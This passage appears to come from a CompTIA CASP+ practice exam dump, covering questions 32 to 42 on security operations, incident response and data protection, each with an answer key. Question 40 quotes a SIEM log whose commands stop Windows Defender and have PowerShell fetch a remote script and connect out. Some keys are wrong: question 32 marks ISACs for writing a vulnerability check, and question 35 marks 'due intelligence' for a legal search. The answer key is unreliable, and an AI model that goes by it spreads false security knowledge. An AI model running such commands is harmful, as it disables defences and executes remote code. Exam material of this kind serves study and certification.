



Correct Answer: See explanation below.

Explanation: 10.1.45.65 SFTP Server Disable 8080

10.1.45.66 Email Server Disable 415 and 443

10.1.45.67 Web Server Disable 21, 80

10.1.45.68 UTM Appliance Disable 21

QUESTION 32

A vulnerability analyst identified a zero-day vulnerability in a company's internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one. Which of the following would be BEST suited to meet these requirements?

- A. ARF
- B. ISACs
- C. Node.js
- D. OVAL

Correct Answer: B

QUESTION 33

A penetration tester obtained root access on a Windows server and, according to the rules of engagement, is permitted to perform post-exploitation for persistence. Which of the following techniques would BEST support this?

- A. Configuring systemd services to run automatically at startup
- B. Creating a backdoor
- C. Exploiting an arbitrary code execution exploit
- D. Moving laterally to a more authoritative server/service

Correct Answer: B

QUESTION 34

A host on a company's network has been infected by a worm that appears to be spreading via SMB. A security analyst has been tasked with containing the incident while also maintaining evidence for a subsequent investigation and malware analysis. Which of the following steps would be best to perform FIRST?

- A. Turn off the infected host immediately.
- B. Run a full anti-malware scan on the infected host.
- C. Modify the smb.conf file of the host to prevent outgoing SMB connections.
- D. Isolate the infected host from the network by removing all network connections.

Correct Answer: D

QUESTION 35

A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate. This is an example of:

- A. due intelligence
- B. e-discovery
- C. due care
- D. legal hold

Correct Answer: A

QUESTION 36

A company is looking for a solution to hide data stored in databases. The solution must meet the following requirements:

- Be efficient at protecting the production environment
- Not require any change to the application
- Act at the presentation layer

Which of the following techniques should be used?

- A. Masking
- B. Tokenization
- C. Algorithmic
- D. Random substitution

Correct Answer: A

QUESTION 37

A networking team asked a security administrator to enable Flash on its web browser. The networking team explained that an important legacy embedded system gathers SNMP information from various devices. The system can only be managed through a web browser running Flash. The embedded system will be replaced within the year but is still critical at the moment. Which of the following should the security administrator do to mitigate the risk?

- A. Explain to the networking team the reason Flash is no longer available and insist the team move up the timetable for replacement.
- B. Air gap the legacy system from the network and dedicate a laptop with an end-of-life OS on it to connect to the system via crossover cable for management.
- C. Suggest that the networking team contact the original embedded system's vendor to get an update to the system that does not require Flash.
- D. Isolate the management interface to a private VLAN where a legacy browser in a VM can be used as needed to manage the system.

Correct Answer: D

QUESTION 38

A security engineer at a company is designing a system to mitigate recent setbacks caused competitors that are beating the company to market with the new products. Several of the products incorporate propriety enhancements developed by the engineer's company. The network already includes a SEIM and a NIPS and requires 2FA for all user access. Which of the following system should the engineer consider NEXT to mitigate the associated risks?

- A. DLP
- B. Mail gateway
- C. Data flow enforcement
- D. UTM

Correct Answer: A

QUESTION 39

All staff at a company have started working remotely due to a global pandemic. To transition to remote work, the company has migrated to SaaS collaboration tools. The human resources

department wants to use these tools to process sensitive information but is concerned the data could be:

- Leaked to the media via printing of the documents
- Sent to a personal email address
- Accessed and viewed by systems administrators
- Uploaded to a file storage site

Which of the following would mitigate the department's concerns?

- A. Data loss detection, reverse proxy, EDR, and PGP
- B. VDI, proxy, CASB, and DRM
- C. Watermarking, forward proxy, DLP, and MFA
- D. Proxy, secure VPN, endpoint encryption, and AV

Correct Answer: C

QUESTION 40

A security analyst notices a number of SIEM events that show the following activity:

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10/30/2020 - 8:01 UTC - 192.168.1.1 - sc stop WinDefend
10/30/2020 - 8:05 UTC - 192.168.1.2 - c:\program files\games\comptiacasp.exe
10/30/2020 - 8:07 UTC - 192.168.1.1 - c:\windows\system32\cmd.exe /c powershell https://content.comptia.com/content.exam.ps1
10/30/2020 - 8:07 UTC - 192.168.1.1 - powershell --> 40.90.23.154:443
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Which of the following response actions should the analyst take FIRST?

- A. Disable powershell.exe on all Microsoft Windows endpoints.
- B. Restart Microsoft Windows Defender.
- C. Configure the forward proxy to block 40.90.23.154.
- D. Disable local administrator privileges on the endpoints.

Correct Answer: C

QUESTION 41

A Chief Information Officer is considering migrating all company data to the cloud to save money on expensive SAN storage. Which of the following is a security concern that will MOST likely need to be addressed during migration?

- A. Latency
- B. Data exposure
- C. Data loss
- D. Data dispersion

Correct Answer: B

QUESTION 42

A security analyst detected a malicious PowerShell attack on a single server. The malware used the Invoke-Expression function to execute an external malicious script. The security analyst scanned the disk with an antivirus application and did not find any IOCs. The security analyst now needs to deploy a protection solution against this type of malware. Which of the following BEST